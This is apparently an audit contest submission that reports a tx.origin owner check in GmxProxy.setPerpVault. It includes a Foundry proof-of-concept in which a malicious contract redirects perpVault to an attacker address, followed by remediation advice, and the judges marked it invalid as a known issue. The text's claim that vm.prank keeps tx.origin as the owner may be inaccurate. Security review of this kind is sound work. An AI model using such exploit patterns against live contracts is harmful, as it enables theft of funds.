DeFiFoundry
50,000 USDC
View results
Submission Details
Severity: low
Invalid

Insecure Ownership Check via tx.origin in setPerpVault

in the GmxProxy contract

Summary:

The function setPerpVault(...) uses tx.origin == owner() instead of the more standard msg.sender == owner(). This reliance on tx.origin poses a security risk and deviates from the contract’s typical ownership pattern.

Because setPerpVault uses tx.origin == owner() instead of the typical msg.sender == owner(), it’s vulnerable to indirect calls through malicious contracts that can hijack or redirect perpVault assignment. Standardizing on the usual “onlyOwner” pattern is safer and consistent with the rest of the contract.

RootCause & Where It Happens

Inside the setPerpVault function:

function setPerpVault(address _perpVault, address market) external {
require(tx.origin == owner(), "not owner");
require(_perpVault != address(0), "zero address");
require(perpVault == address(0), "already set");
perpVault = _perpVault;
gExchangeRouter.setSavedCallbackContract(market, address(this));
}

Notice that to restrict calls to the owner, the code checks:

require(tx.origin == owner(), "not owner");

while elsewhere in the contract, or in typical OpenZeppelin patterns, you use something like:

require(msg.sender == owner(), "not owner");

Why tx.origin Is Problematic

  1. Susceptible to Proxy/Phishing Attacks

    • A malicious contract can trick an EOA user (who is the owner) into calling it. Because a user’s transaction going through another contract still has the same tx.origin (the user’s address), your setPerpVault call might be invoked under unexpected circumstances.

    • For instance, the malicious contract can call your function with the user’s tx.origin while msg.sender is the attacker contract. The check tx.origin == owner() passes, even though the direct caller is not owner.

  2. Breaks the Usual “OnlyOwner” Pattern

    • Everywhere else, the code either uses onlyOwner or checks msg.sender == owner(), ensuring direct calls by the owner. Here, the logic is inconsistent. If later you rely on the same assumption that “the function’s msg.sender must be owner,” you might incorrectly trust calls from another contract.

  3. Deviates from the rest of the contract

    • The rest of GmxProxy (and typical upgradeable OpenZeppelin code) uses onlyOwner or checks msg.sender == owner(). The mismatch leads to confusion or an unexpected security gap specifically in setPerpVault().

Impact

  • Potential Unauthorized Setting of perpVault: A malicious contract could engineer a call from the real owner’s EOA (with tx.origin == owner()) but route it through malicious code, letting that malicious contract control which _perpVault is set.

  • Once perpVault is set to a malicious address, the GmxProxy contract will forward funds, create orders, or do other logic tied to this malicious vault address—severely compromising the system.

Foundry PoC


// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.17;
import "forge-std/Test.sol";
import "../src/GmxProxy.sol"; // Adjust path as needed
/**
* @dev MaliciousCaller is a contract controlled by an attacker.
* It forwards a call to GmxProxy.setPerpVault().
*/
contract MaliciousCaller {
GmxProxy public proxy;
constructor(GmxProxy _proxy) {
proxy = _proxy;
}
/// @notice Called by the attacker-controlled contract to hijack the vault.
function attackSetPerpVault(address newVault, address market) external {
// This call uses msg.sender = MaliciousCaller but tx.origin will be the real owner.
proxy.setPerpVault(newVault, market);
}
}
/**
* @title InsecureOwnershipTest
* @dev Demonstrates that using tx.origin in setPerpVault() allows an attacker to hijack the vault assignment.
*/
contract InsecureOwnershipTest is Test {
GmxProxy proxy;
MaliciousCaller attacker;
// Simulate the owner EOA
address ownerAddr = address(0xDEADBEEF);
// The attacker-controlled vault (malicious address)
address maliciousVault = address(0xBAD);
// Dummy market address (not critical for this PoC)
address dummyMarket = address(0x1111);
function setUp() public {
// Deploy a GmxProxy instance.
proxy = new GmxProxy();
// For this PoC, assume that the proxy's owner is already set to ownerAddr.
// In a real scenario, the proxy would be deployed and ownership transferred via Ownable2StepUpgradeable.
// For testing, we simulate that by transferring ownership:
proxy.transferOwnership(ownerAddr);
// Deploy the malicious contract that uses the proxy.
attacker = new MaliciousCaller(proxy);
}
function testInsecureOwnership() public {
// Simulate the owner EOA calling through the malicious contract.
// vm.prank sets msg.sender for the next call, and tx.origin remains as ownerAddr.
vm.prank(ownerAddr);
attacker.attackSetPerpVault(maliciousVault, dummyMarket);
// Now verify that the perpVault was set to the malicious address.
address setVault = proxy.perpVault();
assertEq(setVault, maliciousVault, "perpVault was not set to the attacker-controlled address");
}
}

Recommended Remediation

  1. Use msg.sender == owner() (like standard “onlyOwner” modifiers) instead of tx.origin. That is the canonical, secure way to restrict calls to the owner.

  2. If you truly need the EOA check (very rare), adopt a well-documented flow that reverts if the call is from a contract, but this is generally discouraged in DeFi for flexibility and composability.

    // Typically not recommended, but if absolutely needed:
    require(msg.sender == tx.origin && msg.sender == owner(), "Must be EOA and owner");

    Even then, there are known techniques to circumvent EOA checks in advanced contexts.

Updates

Lead Judging Commences

n0kto Lead Judge 3 months ago
Submission Judgement Published
Invalidated
Reason: Known issue
Assigned finding tags:

invalid_tx-origin

Lightchaser: Medium-5

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.